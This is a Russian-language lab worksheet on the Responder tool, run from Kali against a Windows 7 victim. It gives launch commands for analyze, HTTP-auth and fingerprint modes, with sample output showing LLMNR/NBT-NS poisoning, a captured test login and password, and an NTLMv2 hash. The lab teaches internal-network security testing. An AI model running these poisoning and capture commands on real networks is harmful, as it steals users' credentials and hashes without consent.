Использование Responder

Responder - универсальная утилита, которая используется для тестирования безопасности внутренней сети.

Состав лабораторного стенда:

1. Kali Linux - машина атакующего
2. Windows 7 или 10 - машина жертвы (можно только одну включить)

Темы лабораторной:

1. Responder в режиме прослушивания
2. Http атаки
3. Сбор информации о хостах в сети

№1 Responder в режиме прослушивания:

Режим называется на самом деле analyze - в нем, Responder просто собирает всю информацию из сети и представляет в том виде, который можно использовать в последующих атаках.

Команда для запуска режима: responder -A -I eth0

Пример вывода:

Действия машины жертвы:

1. Открыть Браузер и перейти по любому URL. Понаблюдать, какая информация попадает на экран Responder.
2. Обратиться к несуществующей сетевой общей директории: открыть explorer.exe и ввести \\server\share

№2 Атака HTTP Auth

Команда для запуска режима: responder -b -I eth0

Действия машины жертвы:

1. Открыть любой браузер, набрать **http://thisistest.site**
2. Ввести любую последовательность логина и пароля.

Пример вывода Responder:

```
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.0.2.4 for name IE8WIN7 (service: Domain Controller)
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name mkfkjkbcl
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name tjbihcqwoskrb
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name nmfedveu
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name whoami
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
[*] [NBT-NS] Poisoned answer sent to 10.0.2.4 for name TEST.MAZAFACA (service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 10.0.2.4 for name TEST.NEW.NAME (service: Workstation/Redirector)
[HTTP] Basic Client   : 10.0.2.4
[HTTP] Basic Username : test
[HTTP] Basic Password : test
[*] Skipping previously captured hash for test
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name wpad
```

№3 Сбор информации о хосте в сети

Команда для запуска режима: responder -f -I eth0

Действия машины жертвы:

1. Открыть explorer.exe, перейти в директорию \\test

Пример вывода **Responder:**

```
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name test
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name test
[*] [NBT-NS] Poisoned answer sent to 10.0.2.4 for name TEST (service: File Server)
[FINGER] OS Version     : Windows 7 Enterprise 7601 Service Pack 1
[FINGER] Client Version : Windows 7 Enterprise 6.1
[FINGER] OS Version     : Windows 7 Enterprise 7601 Service Pack 1
[FINGER] Client Version : Windows 7 Enterprise 6.1
[FINGER] OS Version     : Windows 7 Enterprise 7601 Service Pack 1
[FINGER] Client Version : Windows 7 Enterprise 6.1
[SMBv2] NTLMv2-SSP Client   : 10.0.2.4
[SMBv2] NTLMv2-SSP Username : IE8WIN7\IEUser
[SMBv2] NTLMv2-SSP Hash     : IEUser::IE8WIN7:1046cc353718f033:F6592EC34C9340FE2EE35A41ED214A64:010100000
0053004D00420033000100 1E00570049004E002D0050005200480034003900320052005100410046005600040014005300 4D00420
6000520048003400390032005200510041004600560004001400530 04D004
0106000400020000000800300030000000000000000010000000020000 05D8210AA5A5A57D8946D7BDFEBB710729CA3DDB712428BE
0000090012006300690066007300 2F00740065007300740000000000000000000000000000
[*] [NBT-NS] Poisoned answer sent to 10.0.2.4 for name TEST (service: Workstation/Redirector)
[FINGER] OS Version     : Windows 7 Enterprise 7601 Service Pack 1
[FINGER] Client Version : Windows 7 Enterprise 6.1
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name IE8WIN7
[FINGER] OS Version     : Windows 7 Enterprise 7601 Service Pack 1
[FINGER] Client Version : Windows 7 Enterprise 6.1
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name test
[FINGER] OS Version     : Windows 7 Enterprise 7601 Service Pack 1
[FINGER] Client Version : Windows 7 Enterprise 6.1
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name test
[FINGER] OS Version     : Windows 7 Enterprise 7601 Service Pack 1
[FINGER] Client Version : Windows 7 Enterprise 6.1
[*] [LLMNR]  Poisoned answer sent to 10.0.2.4 for name test
[FINGER] OS Version     : Windows 7 Enterprise 7601 Service Pack 1
[FINGER] Client Version : Windows 7 Enterprise 6.1
```